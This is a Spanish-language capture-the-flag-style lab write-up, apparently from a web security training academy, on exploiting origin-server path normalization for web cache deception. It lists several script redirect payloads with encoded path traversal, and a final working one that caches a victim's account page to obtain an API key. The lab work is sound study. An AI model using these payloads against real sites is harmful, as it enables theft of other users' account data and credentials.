🪇Laboratorio: Explotación de la normalización del servidor de origen para el engaño de la caché web

  • El servidor de origen resuelve la url a pesar de que el directorio estatico no existe y codeamos el path traversal.

Posible(s) payload-Exploit para la victima →

<script>document.location="https://0a2a0036041ed25c801703c600a300b3.web-security-academy.net/scripts/..%2fmy-account"</script>
<script>document.location="https://0a2a0036041ed25c801703c600a300b3.web-security-academy.net/scripts/..%2F..%2F..%2F..%2F..%2Fmy-account"</script>
<script>document.location="https://0a2a0036041ed25c801703c600a300b3.web-security-academy.net/aaaaa/..%2F..%2F..%2F..%2F..%2Fmy-account"</script>
<script>document.location="https://0a2a0036041ed25c801703c600a300b3.web-security-academy.net/assets/..%2fmy-account"</script>

Por lo menos aqui comprobamos que el. servidor de origen la normalizacion de ruta no la toma cuando el path traversal es …/…/…/ sino cuando es así ../../../../ claramente codificados.

Ya encontré la razón por la cual no estaba devolviendome la API Key de Carlos

  • Primero que todo está aplicacion tambien mantiene las reglas de cache tipo cache-control con un tiempo total de 30 seg entonces luego de esos 30 seg elimina la información correspondiente que tenga almacenad la caché.

  • El problema por el cual no estaba pudiendo obtener la información del user carlos es porque estaba enviandole un path de directorio estatico que no existian que aunque el servidor de origen en la pagina me resolvía lo que fuera que yo le pusiera por ejm aksdk/..%2fmy-account claro el servidor lo resolvía porque esa la forma de normalizar las rutas el server sin embargo en este caso no estabamos haciendo el ruteo o path traversal con algo real para que el caché resuelva la info y la guardase, en este caso encontré un directorio en burp que me llamó la atención y decidí probarlo a ver, fue este:

Entonces con esto en mente decidí crear la siguiente carga útil →
<script>document.location="https://0aae007c04b5fa85820c4224003600cc.web-security-academy.net/resources/js/tracking.js/static/..%2F..%2F..%2F..%2F/my-account"</script>
  • Y le dí a deliver exploit to victim y añadí esa ruta en el browser y efectivamente →

Y asi lo resolvimos :)

Last updated